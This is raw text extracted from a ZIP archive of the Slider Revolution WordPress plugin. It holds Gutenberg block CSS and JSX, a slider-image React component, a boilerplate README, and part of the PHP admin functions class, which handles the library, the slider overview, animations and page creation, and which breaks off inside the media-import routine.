div.revslider_block .slider_edit_button, div.revslider_block .slider_editor_button, div.revslider_block .slider_edit_button:focus, div.revslider_block .slider_editor_button:focus, div.revslider_block .slider_edit_button:active, div.revslider_block .slider_editor_button:active, div.revslider_block .slider_edit_button:active:enabled, div.revslider_block .slider_editor_button:active:enabled,
div.revslider_block .slider_edit_button.components-button, div.revslider_block .slider_editor_button.components-button, div.revslider_block .slider_edit_button.components-button:focus, div.revslider_block .slider_editor_button.components-button:focus, div.revslider_block .slider_edit_button.components-button:active, div.revslider_block .slider_editor_button.components-button:active, div.revslider_block .slider_edit_button.components-button:active:enabled, div.revslider_block .slider_editor_button.components-button:active:enabled {
  border-color: #5e35b1;
  background: #5e35b1;
  color: #fff;
  height: 28px; 
  line-height: 18px;
  vertical-align: top;
  border-radius: 2px;
  outline:none;
  box-shadow: none;
}

.rs_component_panel .block-editor-block-icon {
  border-radius: 2px;
}

div.revslider_block .slider_edit_button:hover, div.revslider_block .slider_editor_button:hover {
  -webkit-filter: brightness(120%) !important;
  filter: brightness(120%) !important;
  border-color: #5e35b1 !important;
  background: #5e35b1 !important;
  color: #fff !important; 
  box-shadow: none !important;
}

.editor-block-list-item-themepunch-revslider svg,
.components-panel__body.edit-post-block-sidebar__panel svg.dashicons-update {
  width: 24px;
  height: 24px; }

.editor-block-list-item-themepunch-revslider .editor-block-types-list__item-title {
  padding: 4px 1px 4px 1px; }

.sliderBar {
  padding-left: 160px; }

.sliderImage {
  background: #e3e5e8;
  text-align: center;
  line-height: 0;
  margin-top: 20px; }

.sliderImage div {
  width: 267px;
  height: 150px;
  background-repeat: no-repeat;
  background-position: 50% 50%;
  background-size: cover;
  margin: 0 auto; }

.showSilderImage {
  float: right;
  margin-left: 10px;
  margin-bottom: 10px;
  font-family: 'Material Icons';
  font-weight: normal;
  font-style: normal;
  display: inline-block;
  text-transform: none;
  letter-spacing: normal;
  word-wrap: normal;
  white-space: nowrap;
  direction: ltr;
  vertical-align: top;
  line-height: 26px;
  /*font-size: 16px;*/
  -webkit-font-smoothing: antialiased;
  text-rendering: optimizeLegibility;
  -moz-osx-font-smoothing: grayscale;
  -webkit-font-feature-settings: 'liga';
  font-feature-settings: 'liga'; }

.hideSilderImage {
  margin-right: 10px;
  margin-bottom: 10px;
  font-family: 'Material Icons';
  font-weight: normal;
  font-style: normal;
  display: inline-block;
  text-transform: none;
  letter-spacing: normal;
  word-wrap: normal;
  white-space: nowrap;
  direction: ltr;
  vertical-align: top;
  line-height: 13px !important;
  /*font-size: 16px;*/
  -webkit-font-smoothing: antialiased;
  text-rendering: optimizeLegibility;
  -moz-osx-font-smoothing: grayscale;
  -webkit-font-feature-settings: 'liga';
  font-feature-settings: 'liga'; }

.wp-block[data-type="themepunch/revslider"] .editor-block-toolbar > .components-toolbar svg {
  color: inherit !important; }

body[class*="version-5-4"] .wp-block[data-type="themepunch/revslider"].block-editor-block-list__block,
.wp-block[data-type="themepunch/revslider"] .editor-block-list__block-edit.block-editor-block-list__block-edit {
  background: #f6f6f9; }

.wp-block[data-type="themepunch/revslider"] .revslider_block {
  background-position: 14px 14px; 
  background-color:#fff;
}

.wp-block[data-type="themepunch/revslider"] .revslider_block .sliderBar {
  padding: 14px 14px 14px 160px;
  overflow: hidden;
  position: relative; }

.wp-block[data-type="themepunch/revslider"] .revslider_block .sliderImage {
  margin-top: 0px;
  padding: 14px; }

.wp-block[data-type="themepunch/revslider"] .sliderBar slider_editor_button_wrap {
  display: none; }

.slider_editor_button_wrap {
  display: none;
  position: absolute;
  right: 14px;
  top: 14px;
  padding-top: 2px;
  white-space: nowrap;
  width: 220px;
  height: 30px;
  background: #f6f6f9; }

.wp-block[data-type="themepunch/revslider"].is-hovered .sliderBar .slider_editor_button_wrap,
.wp-block[data-type="themepunch/revslider"].is-selected .sliderBar .slider_editor_button_wrap {
  display: inline-block; 
}

.block-editor-block-list__layout .wp-block.is-selected.wp-block[data-type="themepunch/revslider"].block-editor-block-list__block:not([contenteditable]):focus:after {
  box-shadow:0 0 0 1.5px rgba(66,88,99,.4);
}

.wp-block[data-type="themepunch/revslider"] .sliderBar span {
  white-space: nowrap;
  height: 23px;
  overflow: hidden;
  display: inline-block;
  max-width: 100%; 
}


button.components-button.components-dropdown-menu__toggle.has-icon[aria-label="Slider Revolution"] .dashicon.dashicons.dashicons-update {
  margin-left: 0px;
  margin-right: 0px;
}

.rs_lib_premium_wrap  { font-family: "Roboto";position: absolute; top:5px; right:5px; z-index:300; width:auto !important; height:auto !important;}
.rs_lib_premium_lila,
.rs_lib_premium_red,
.rs_lib_premium_red_hover { display:none;background:#ff2021; line-height: 23px; padding: 0px 6px; font-size: 13px; color: #fff; font-weight: 600; position: relative; z-index: 15; text-transform: uppercase; border-radius: 4px;}
.rs_lib_premium_lila { background: #5c30af; display:block }

.sliderImage.tp_premium,
.noSliderImage.tp_premium { position:relative}
.noSliderImage.tp_premium { background:#e3e5e8; padding:15px;}
.sliderImage.tp_premium .rs_lib_premium_lila,
.noSliderImage.tp_premium .rs_lib_premium_lila,
.sliderImage.tp_premium .rs_lib_premium_red,
.noSliderImage.tp_premium .rs_lib_premium_red { 
  width:auto !important;
  height:auto !important;
  display:inline-block !important;
  vertical-align:top;
}

.noSliderImage.tp_premium .rs_lib_premium_wrap { position:relative; top:auto;right:auto; height:25px !important;}
.rs_n_ac_n .rs_lib_premium_lila { display:none}
.rs_n_ac_n .rs_lib_premium_red { display:block}
.rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red,
.olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red { display:none}
.rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red_hover,
.olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red_hover { display:block}

.rs_lib_premium_red_hover .material-icons,
.rs_lib_premium_red  .material-icons { margin-right:5px }PK�y3\vv�x..=includes/shortcode_generator/gutenberg/src/revslider/index.jsnu�[���/**
 * Block dependencies
 */     
import './style.scss';
import './editor.scss';

/**
 * Internal block libraries
 */
const { __ } = wp.i18n;
const { registerBlockType } = wp.blocks;
if(typeof wp.blockEditor !== 'undefined')
  var { InspectorControls, InspectorAdvancedControls } = wp.blockEditor;
else
  var { InspectorControls, InspectorAdvancedControls } = wp.editor;
  const { Component } = wp.element;
import { deprecated } from './deprecated';
import { RevSlider } from './revslider';


import { TextControl } from '@wordpress/components';
const { withState } = wp.compose;



/**
 * Register block
 */
export default registerBlockType(
    'themepunch/revslider',
    {
        title: __( 'Slider Revolution', 'revslider' ),
        description: __( 'Add your Slider Revolution Module!', 'revslider' ),
        category: 'common',
        icon: {
          src:  'update',
          background: 'rgb(94, 53, 177)',
          color: 'white',
          viewbox: "0 0 28 28"
        },        
        keywords: [
            __( 'Banner', 'revslider' ),
            __( 'CTA', 'revslider' ),
            __( 'Slider', 'revslider' ),
        ],
        attributes: {
          checked: {
            type: 'boolean',
            default: false
          },
          modal: {
            type: 'boolean',
            default: false
          },
          content: {
              selector: '.revslider',
              type: 'string',
              source: 'text',
          },
          text: {
            selector: '.revslider',
            type: 'string',
            source: 'text',
          },
          slidertitle: {
              selector: '.revslider',
              type: 'string',
              source: 'attribute',
              attribute: 'data-slidertitle',
          },
          sliderImage: {
             type:'string'
          },
          hideSliderImage:{
              boolean: false
          },
          alias: {
            type: 'string'
          },
          zindex: {
            type: 'string'
          },
          wrapperid: {
           type: 'string'
          }
        },
        edit: props => {
          const { setAttributes, attributes: { wrapperid } } = props;
          return [
            
            <div>
              <RevSlider {...{ setAttributes, ...props }} />
            </div>
          ];
        },
        deprecated,
        save: props => {
          const { attributes: { text, content, slidertitle, modal, zindex, wrapperid } } = props;
          let style;
          style = zindex ? "z-index:"+zindex+";" : "";
          let shortcode = !content && text ? text : content;
          return (
            <div className="revslider" id={wrapperid} data-modal={modal} data-slidertitle={slidertitle} style={style}>
               {shortcode}
            </div>
          );
        }
    },
);PK�y3\�ƹ�>includes/shortcode_generator/gutenberg/src/revslider/index.phpnu�[���<?php // Silence is golden
PK�y3\Y>;�MMFincludes/shortcode_generator/gutenberg/src/revslider/revSliderImage.jsnu�[���/**
 * RevSlider Editor Element
 */


/**
 * Internal block libraries
*/
const { Component } = wp.element;

/**
 * Component RevSlider for usage in block
*/
export class RevSliderImage extends Component {
    
  constructor() {	 
      super( ...arguments );
      this.state = {
        response : undefined,
        alias : this.props.attributes.alias,
        slidertitle: this.props.attributes.slidertitle,
      };

  }

  // Load Slider Image before it is mounted
  componentWillMount(){
    this.loadSliderImage();
  }

  // Load Slider Image when it is mounted
  componentDidMount() {
    //this.loadSliderImage();
  }

  // When new Props are send to the Block it will reload the image when the alias has changed
  componentWillReceiveProps(){
    if(this.state.alias != this.props.attributes.alias)
    this.loadSliderImage();
  }

  // Loads the Slider Admin Thumb via Ajax Call
  loadSliderImage(){
    this.setState({response: undefined});
    this.setState({alias: this.props.attributes.alias});
    var self = this;
    if(!this.props.attributes.alias){
      if(this.props.attributes.content!==undefined || this.props.attributes.text!==undefined){
        let shortcode = this.props.attributes.content!==undefined ? RVS.SC.parseShortCode(this.props.attributes.content) :  RVS.SC.parseShortCode(this.props.attributes.text); 
        if(shortcode.attributes.alias) {
          this.props.attributes.alias = shortcode.attributes.alias;
          }
      }
    }
    if(this.props.attributes.alias){
      RVS.F.ajaxRequest('getSliderImage', { alias : this.props.attributes.alias }, function(response) {    
        if(response.success) {  
            if (response!==undefined && response.image!==undefined) {
              self.setState({
                response
              });
            }          			          
            RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.loadingcontent});				
          }
      });
    }
  }

  // Renders the different states of the image (loading, loaded and no image)
  render() {  
    let premium;
    if(this.state.response && this.state.response.premium !== ""){
      premium = this.state.response.premium ? ' tp_premium' : '';
    }
    else {
      premium = '';
    }

    let badge = RVS.ENV.activated ? <div class="rs_lib_premium_wrap"><div class="rs_lib_premium_lila">PREMIUM TEMPLATE</div></div> : <div class="rs_lib_premium_wrap"><div class="rs_lib_premium_red"><i class="material-icons">visibility_off</i>REGISTER LICENSE TO UNLOCK</div></div>;
    if(premium == '') badge = '';

    //Image Loaded
    if(this.state.response && this.state.response.image !== ""){
      return [
        <div className={"sliderImage" + premium}>
            {badge}
            <div style={{ backgroundImage : 'url(' +  this.state.response.image +')'}}></div>
        </div>   
      ]
    }
    else {
      //Image Loading
      if(!this.state.response)
        return  [ 
          <div className={"sliderImageLoading" + premium}></div>
        ]
      //No Image
      else {
        return  [ 
          <div className={"noSliderImage" + premium}>{badge}</div> 
        ]
      }
    }
  }
}PK�y3\���l��0includes/shortcode_generator/gutenberg/README.mdnu�[���This project was bootstrapped with [Create Guten Block](https://github.com/ahmadawais/create-guten-block).

Below you will find some information on how to run scripts.

>You can find the most recent version of this guide [here](https://github.com/ahmadawais/create-guten-block).

## 👉  `npm start`
- Use to compile and run the block in development mode.
- Watches for any changes and reports back any errors in your code.

## 👉  `npm run build`
- Use to build production code for your block inside `dist` folder.
- Runs once and reports back the gzip file sizes of the produced code.

## 👉  `npm run eject`
- Use to eject your plugin out of `create-guten-block`.
- Provides all the configurations so you can customize the project as you want.
- It's a one-way street, `eject` and you have to maintain everything yourself.
- You don't normally have to `eject` a project because by ejecting you lose the connection with `create-guten-block` and from there onwards you have to update and maintain all the dependencies on your own.

---

###### Feel free to tweet and say 👋 at me [@MrAhmadAwais](https://twitter.com/mrahmadawais/)

[![npm](https://img.shields.io/npm/v/create-guten-block.svg?style=flat-square)](https://www.npmjs.com/package/create-guten-block) [![npm](https://img.shields.io/npm/dt/create-guten-block.svg?style=flat-square&label=downloads)](https://www.npmjs.com/package/create-guten-block)  [![license](https://img.shields.io/github/license/mashape/apistatus.svg?style=flat-square)](https://github.com/ahmadawais/create-guten-block) [![Tweet for help](https://img.shields.io/twitter/follow/mrahmadawais.svg?style=social&label=Tweet%20@MrAhmadAwais)](https://twitter.com/mrahmadawais/) [![GitHub stars](https://img.shields.io/github/stars/ahmadawais/create-guten-block.svg?style=social&label=Stars)](https://github.com/ahmadawais/create-guten-block/stargazers) [![GitHub followers](https://img.shields.io/github/followers/ahmadawais.svg?style=social&label=Follow)](https://github.com/ahmadawais?tab=followers)PK�y3\�ƹ�0includes/shortcode_generator/gutenberg/index.phpnu�[���<?php // Silence is golden
PK�y3\Z�-�-�"includes/functions-admin.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();

class RevSliderFunctionsAdmin extends RevSliderFunctions {
	
	/**
	 * get the full object of: 
	 * +- Slider Templates
	 * +- Created Slider
	 * +- Object Library Images
	 * - Object Library Videos
	 * +- SVG
	 * +- Font Icons
	 * - layers
	 **/
	public function get_full_library($include = array('all'), $tmp_slide_uid = array(), $refresh_from_server = false, $get_static_slide = false){
		$include	= (array)$include;
		$template	= new RevSliderTemplate();
		$library	= new RevSliderObjectLibrary();
		$slide		= new RevSliderSlide();
		$object		= array();
		$tmp_slide_uid = ($tmp_slide_uid !== false) ? (array)$tmp_slide_uid : array();
		
		if($refresh_from_server){
			if(in_array('all', $include) || in_array('moduletemplates', $include)){ //refresh template list from server
				$template->_get_template_list(true);
				if(!isset($object['moduletemplates'])) $object['moduletemplates'] = array();
				$object['moduletemplates']['tags'] = $template->get_template_categories();
				asort($object['moduletemplates']['tags']);
			}
			if(in_array('all', $include) || in_array('layers', $include) || in_array('videos', $include) || in_array('images', $include) || in_array('objects', $include)){ //refresh object list from server
				$library->_get_list(true);
			}
			if(in_array('all', $include) || in_array('layers', $include)){ //refresh object list from server
				if(!isset($object['layers'])) $object['layers'] = array();
				$object['layers']['tags'] = $library->get_objects_categories('4');
				asort($object['layers']['tags']);
			}
			if(in_array('all', $include) || in_array('videos', $include)){ //refresh object list from server
				if(!isset($object['videos'])) $object['videos'] = array();
				$object['videos']['tags'] = $library->get_objects_categories('3');
				asort($object['videos']['tags']);
			}
			if(in_array('all', $include) || in_array('images', $include)){ //refresh object list from server
				if(!isset($object['images'])) $object['images'] = array();
				$object['images']['tags'] = $library->get_objects_categories('2');
				asort($object['images']['tags']);
			}
			if(in_array('all', $include) || in_array('objects', $include)){ //refresh object list from server
				if(!isset($object['objects'])) $object['objects'] = array();
				$object['objects']['tags'] = $library->get_objects_categories('1');
				asort($object['objects']['tags']);
			}
			$object = apply_filters('revslider_get_full_library_refresh', $object, $include, $tmp_slide_uid, $refresh_from_server, $get_static_slide, $this);
		}
		
		if(in_array('moduletemplates', $include) || in_array('all', $include)){
			if(!isset($object['moduletemplates'])) $object['moduletemplates'] = array();
			$object['moduletemplates']['items']	= $template->get_tp_template_sliders_for_library($refresh_from_server);
		}
		if(in_array('moduletemplateslides', $include) || in_array('all', $include)){
			if(!isset($object['moduletemplateslides'])) $object['moduletemplateslides'] = array();
			$object['moduletemplateslides']['items'] = $template->get_tp_template_slides_for_library($tmp_slide_uid);
		}
		if(in_array('modules', $include) || in_array('all', $include)){
			if(!isset($object['modules'])) $object['modules'] = array();
			$object['modules']['items'] = $this->get_slider_overview();
		}
		if(in_array('moduleslides', $include) || in_array('all', $include)){
			if(!isset($object['moduleslides'])) $object['moduleslides'] = array();
			$object['moduleslides']['items'] = $slide->get_slides_for_library($tmp_slide_uid, $get_static_slide);
		}
		if(in_array('svgs', $include) || in_array('all', $include)){
			if(!isset($object['svgs'])) $object['svgs'] = array();
			$object['svgs']['items'] = $library->get_svg_sets_full();
		}
		if(in_array('svgcustom', $include) || in_array('all', $include)){
			if(!isset($object['svgcustom'])) $object['svgcustom'] = array();
			$object['svgcustom']['items'] = $library->get_custom_svgs();
		}
		if(in_array('fonticons', $include) || in_array('all', $include)){
			if(!isset($object['fonticons'])) $object['fonticons'] = array();
			$object['fonticons']['items'] = $library->get_font_icons();
		}
		if(in_array('layers', $include) || in_array('all', $include)){
			if(!isset($object['layers'])) $object['layers'] = array();
			$object['layers']['items'] = $library->load_objects('4');
		}
		if(in_array('videos', $include) || in_array('all', $include)){
			if(!isset($object['videos'])) $object['videos'] = array();
			$object['videos']['items'] = $library->load_objects('3');
		}
		if(in_array('images', $include) || in_array('all', $include)){
			if(!isset($object['images'])) $object['images'] = array();
			$object['images']['items'] = $library->load_objects('2');
		}
		if(in_array('objects', $include) || in_array('all', $include)){
			if(!isset($object['objects'])) $object['objects'] = array();
			$object['objects']['items'] = $library->load_objects('1');
		}
		/*if(in_array('wpimages', $include) || in_array('all', $include)){
			$data = $this->get_request_var('data');
			$after = $this->get_val($data, 'after', false);
			if(!isset($object['wpimages'])) $object['wpimages'] = array();
			$object['wpimages']['items'] = $library->load_wp_objects('image', $after);
		}
		if(in_array('wpvideos', $include) || in_array('all', $include)){
			$data = $this->get_request_var('data');
			$after = $this->get_val($data, 'after', false);
			if(!isset($object['wpvideos'])) $object['wpvideos'] = array();
			$object['wpvideos']['items'] = $library->load_wp_objects('video', $after);
		}*/
		$object = apply_filters('revslider_get_full_library', $object, $include, $tmp_slide_uid, $refresh_from_server, $get_static_slide, $this);
		
		return $object;
	}
	
	
	/**
	 * get the short library with categories and how many elements exist
	 **/
	public function get_short_library($sliders = false){
		$template = new RevSliderTemplate();
		$library = new RevSliderObjectLibrary();
		$sliders = ($sliders === false) ? $this->get_slider_overview() : $sliders;
		
		$slider_cat = array();
		if(!empty($sliders)){
			foreach($sliders as $slider){
				$tags = $this->get_val($slider, 'tags', array());
				if(!empty($tags)){
					foreach($tags as $tag){
						if(trim($tag) !== '' && !isset($slider_cat[$tag])) $slider_cat[$tag] = ucwords($tag);
					}
				}
			}
		}
		
		$svg_cat = $library->get_svg_categories();
		$oc	= $library->get_objects_categories('1');
		$oc2 = $library->get_objects_categories('2');
		$oc3 = $library->get_objects_categories('3');
		$oc4 = $library->get_objects_categories('4');
		$t_cat = $template->get_template_categories();
		$font_cat = $library->get_font_tags();
		$custom = $library->get_custom_tags();
		
		$wpi = array('jpg' => 'jpg', 'png' => 'png');
		$wpv = array('mpeg' => 'mpeg', 'mp4' => 'mp4', 'ogv' => 'ogv');
		
		asort($wpi);
		asort($wpv);
		asort($oc);
		asort($t_cat);
		asort($slider_cat);
		asort($svg_cat);
		asort($font_cat);
		
		$tags = array(
			'moduletemplates' => array('tags' => $t_cat),
			'modules'	=> array('tags' => $slider_cat),
			'svgs'		=> array('tags' => $svg_cat),
			'fonticons'	=> array('tags' => $font_cat),
			'layers'	=> array('tags' => $oc4),
			'videos'	=> array('tags' => $oc3),
			'images'	=> array('tags' => $oc2),
			'objects'	=> array('tags' => $oc)/*,
			'wpimages'	=> array('tags' => $wpi),
			'wpvideos'	=> array('tags' => $wpv)*/
		);
		
		if(!empty($custom)){
			foreach($custom as $tag_name => $tag_value){
				$tags[$tag_name] = array('tags' => $tag_value);
			}
		}
		
		return apply_filters('revslider_get_short_library', $tags, $library, $this);
	}
	
	
	/**
	 * Get Sliders data for the overview page
	 **/
	public function get_slider_overview(){
		global $rs_do_init_action;
		$rs_do_init_action = false;
		
		$rs_slider	= new RevSliderSlider();
		$rs_slide	= new RevSliderSlide();
		$sliders	= $rs_slider->get_sliders(false);
		$rs_folder	= new RevSliderFolder();
		$folders	= $rs_folder->get_folders();
		
		$sliders 	= array_merge($sliders, $folders);
		$data		= array();
		if(!empty($sliders)){
			$slider_list = array();
			foreach($sliders as $slider){
				$slider_list[] = $slider->get_id();
			}
			
			$_slides_raw = $rs_slide->get_all_slides_raw($slider_list);
			$slides_raw = $this->get_val($_slides_raw, 'first_slides', array());
			$slides_ids = $this->get_val($_slides_raw, 'slide_ids', array());
			
			foreach($sliders as $k => $slider){
				$slide_ids = array();
				$slides = array();
				$sid = $slider->get_id();
				foreach($slides_raw as $s => $r){
					if($r->get_slider_id() !== $sid) continue;
					
					foreach($slides_ids as $_s => $_sv){
						if($this->get_val($_sv, 'slider_id') === $sid){
							$slide_ids[] = $this->get_val($_sv, 'id');
							unset($slides_ids[$_s]);
						}
					}
					$slides[] = $r;
					unset($slides_raw[$s]);
				}
				if(empty($slide_ids)) $slide_ids = false;
				
				$slides = (empty($slides)) ? false : $slides;
				
				$slider->init_layer = false;
				$data[] = $slider->get_overview_data(false, $slides, $slide_ids);
				unset($sliders[$k]);
			}
		}
		
		$rs_do_init_action = true;
		
		return $data;
	}
	
	
	/**
	 * insert custom animations
	 * @before: RevSliderOperations::insertCustomAnim();
	 */
	public function insert_animation($animation, $type){
		$handle = $this->get_val($animation, 'name', false);
		$result = false;
		
		if($handle !== false && trim($handle) !== ''){
			global $wpdb;
			
			//check if handle exists
			$arr = array(
				'handle'	=> $this->get_val($animation, 'name'),
				'params'	=> json_encode($animation),
				'settings'	=> $type
			);
			
			$result = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $arr);
		}

		return ($result) ? $wpdb->insert_id : $result;
	}
	
	
	/**
	 * update custom animations
	 * @before: RevSliderOperations::updateCustomAnim();
	 */
	public function update_animation($animation_id, $animation, $type){
		global $wpdb;
		
		$arr = array(
			'handle'	=> $this->get_val($animation, 'name'),
			'params'	=> json_encode($animation),
			'settings'	=> $type
		);
		
		$result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $arr, array('id' => $animation_id));
		
		return ($result) ? $animation_id : $result;
	}
	
	
	/**
	 * delete custom animations
	 * @before: RevSliderOperations::deleteCustomAnim();
	 * @param int $animation_id
	 */
	public function delete_animation($animation_id){
		global $wpdb;
		
		$result = $wpdb->delete($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, array('id' => $animation_id));
		
		return $result;
	}
	
	
	/**
	 * @since: 5.3.0
	 * create a page with revslider shortcodes included
	 * @before: RevSliderOperations::create_slider_page();
	 * @param array $added
	 * @param array $modals
	 * @param array $additions
	 **/
	public static function create_slider_page($added, $modals = array(), $additions = array()){
		global $wp_version;
		
		$new_page_id = 0;
		
		if(!is_array($added)) return apply_filters('revslider_create_slider_page', $new_page_id, $added);
		
		$content = '';
		$page_id = get_option('rs_import_page_id', 1);
		
		//get alias of all new Sliders that got created and add them as a shortcode onto a page
		if(!empty($added)){
			foreach($added as $sid){
				$slider = new RevSliderSlider();
				$slider->init_by_id($sid);
				$alias = $slider->get_alias();
				if($alias !== ''){
					$usage		= (in_array($sid, $modals, true)) ? ' usage="modal"' : '';
					$addition	= (isset($additions[$sid])) ? ' ' . $additions[$sid] : '';
					if(strpos($addition, 'usage=\"modal\"') !== false) $usage = ''; //remove as not needed two times
					
					if(version_compare($wp_version, '5.0', '>=')){ //add gutenberg code
						$ov_data = $slider->get_overview_data();
						$title	 = $slider->get_val($ov_data, 'title', '');
						$img	 = $slider->get_val($ov_data, array('bg', 'src'), '');
						$wrap_addition	= ($img !== '') ? ',"sliderImage":"'.$img.'"' : '';
						$div_addition	= ($title !== '') ? ' data-slidertitle="'.$title.'"' : '';
						
						$zindex_pos = strpos($addition, 'zindex=\"');
						if($zindex_pos !== false){
							$zindex = substr($addition, $zindex_pos + 9, strpos($addition, '\"', $zindex_pos + 9) - ($zindex_pos + 9));
							$div_addition .= ' style="z-index:'.$zindex.';"';
							$wrap_addition .= ',"zindex":"'.$zindex.'"';
						}
						
						$content .= '<!-- wp:themepunch/revslider {"checked":true'.$wrap_addition.'} -->'."\n";
						$content .= '<div class="wp-block-themepunch-revslider revslider" data-modal="false"'.$div_addition.'>';
					}
					
					$content .= '[rev_slider alias="'.$alias.'"'.$usage.$addition.'][/rev_slider]'; //this way we will reorder as last comes first
					
					if(version_compare($wp_version, '5.0', '>=')){ //add gutenberg code
						$content .= '</div>'."\n".'<!-- /wp:themepunch/revslider -->'."\n";
					}
				}
			}
		}
		
		if($content !== ''){
			$new_page_id = wp_insert_post(
				array(
					'post_title'    => wp_strip_all_tags('RevSlider Page '.$page_id), //$title
					'post_content'  => $content,
					'post_type'   	=> 'page',
					'post_status'   => 'draft',
					'page_template' => '../public/views/revslider-page-template.php'
				)
			);
			
			if(is_wp_error($new_page_id)) $new_page_id = 0; //fallback to 0
			
			$page_id++;
			update_option('rs_import_page_id', $page_id);
		}
		
		return apply_filters('revslider_create_slider_page', $new_page_id, $added);
	}
	
	/**
	 * add notices from ThemePunch
	 * @since: 4.6.8
	 * @return array
	 */
	public function add_notices(){
		$_n = array();
		$notices = (array)get_option('revslider-notices', false);
		
		if(!empty($notices) && is_array($notices)){
			$n_discarted = get_option('revslider-notices-dc', array());
			
			foreach($notices as $notice){
				//check if global or just on plugin related pages
				if($notice->version === true || !in_array($notice->code, $n_discarted) && version_compare($notice->version, RS_REVISION, '>=')){
					$_n[] = $notice;
				}
			}
		}
		
		//push whatever notices we might need
		return $_n;
	}
	
	/**
	 * get basic v5 Slider data
	 **/
	public function get_v5_slider_data(){
		global $wpdb;
		
		$sliders	= array();
		$do_order	= 'id';
		$direction	= 'ASC';
		
		$slider_data = $wpdb->get_results($wpdb->prepare("SELECT `id`, `title`, `alias`, `type` FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDER."_bkp ORDER BY %s %s", array($do_order, $direction)), ARRAY_A);
		
		if(!empty($slider_data)){
			foreach($slider_data as $data){
				if($this->get_val($data, 'type') == 'template') continue;
				
				$sliders[] = $data;
			}
		}
		
		return $sliders;
	}
	
	/**
	 * get basic v5 Slider data
	 **/
	public function reimport_v5_slider($id){
		global $wpdb;
		
		$done = false;
		
		$slider_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDER."_bkp WHERE `id` = %s", $id), ARRAY_A);
		
		if(!empty($slider_data)){
			$slides_data = $wpdb->get_results($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDES."_bkp WHERE `slider_id` = %s", $id), ARRAY_A);
			$static_slide_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES."_bkp WHERE `slider_id` = %s", $id), ARRAY_A);
			
			if(!empty($slides_data)){
				//check if the ID's exist in the new tables, if yes overwrite, if not create
				$slider_v6 = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDER." WHERE `id` = %s", $id), ARRAY_A);
				unset($slider_data['id']);
				if(!empty($slider_v6)){
					/**
					 * push the old data to the already imported Slider
					 **/
					$result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $slider_data, array('id' => $id));
				}else{
					$result	= $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $slider_data);
					$id		= ($result) ? $wpdb->insert_id : false;
				}
				if($id !== false){
					foreach($slides_data as $k => $slide_data){
						$slide_data['slider_id'] = $id;
						$slide_v6 = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDES." WHERE `id` = %s", $slide_data['id']), ARRAY_A);
						$slide_id = $slide_data['id'];
						unset($slide_data['id']);
						if(!empty($slide_v6)){
							$result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $slide_data, array('id' => $slide_id));
						}else{
							$result	= $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $slide_data);
						}
					}
					if(!empty($static_slide_data)){
						$static_slide_data['slider_id'] = $id;
						$slide_v6 = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES." WHERE `id` = %s", $static_slide_data['id']), ARRAY_A);
						$slide_id = $static_slide_data['id'];
						unset($static_slide_data['id']);
						if(!empty($slide_v6)){
							$result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, $static_slide_data, array('id' => $slide_id));
						}else{
							$result	= $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, $static_slide_data);
						}
					}
					
					$slider = new RevSliderSlider();
					$slider->init_by_id($id);
					
					$upd = new RevSliderPluginUpdate();
					
					$upd->upgrade_slider_to_latest($slider);
					$done = true;
				}
			}
		}
		
		return $done;
	}
	
	
	/**
	 * returns an object of current system values
	 **/
	public function get_system_requirements(){
		$dir	= wp_upload_dir();
		$basedir = $this->get_val($dir, 'basedir').'/';
		$ml		= ini_get('memory_limit');
		$mlb	= wp_convert_hr_to_bytes($ml);
		$umf	= ini_get('upload_max_filesize');
		$umfb	= wp_convert_hr_to_bytes($umf);
		$pms	= ini_get('post_max_size');
		$pmsb	= wp_convert_hr_to_bytes($pms);
		
		
		$mlg  = ($mlb >= 268435456) ? true : false;
		$umfg = ($umfb >= 33554432) ? true : false;
		$pmsg = ($pmsb >= 33554432) ? true : false;
		
		return array(
			'memory_limit' => array(
				'has' => size_format($mlb),
				'min' => size_format(268435456),
				'good'=> $mlg
			),
			'upload_max_filesize' => array(
				'has' => size_format($umfb),
				'min' => size_format(33554432),
				'good'=> $umfg
			),
			'post_max_size' => array(
				'has' => size_format($pmsb),
				'min' => size_format(33554432),
				'good'=> $pmsg
			),
			'upload_folder_writable'	=> wp_is_writable($basedir),
			'object_library_writable'	=> wp_image_editor_supports(array('methods' => array('resize', 'save'))),
			'server_connect'			=> get_option('revslider-connection', false),
		);
	}
	
	/**
	 * import a media file uploaded through the browser to the media library
	 **/
	public function import_upload_media(){
		require_once(ABSPATH . 'wp-admin/includes/file.php');
		
		global $wp_filesystem;
		WP_Filesystem();
		
		$import_file = $this->get_val($_FILES, 'import_file');
		$error		 = $this->get_val($import_file, 'error');
		$return		 = array('error' => __('File not found', 'revslider'));
		
		switch($error){
			case UPLOAD_ERR_NO_FILE:
				return array('error' => __('No file sent', 'revslider'));
			case UPLOAD_ERR_INI_SIZE:
			case UPLOAD_ERR_FORM_SIZE:
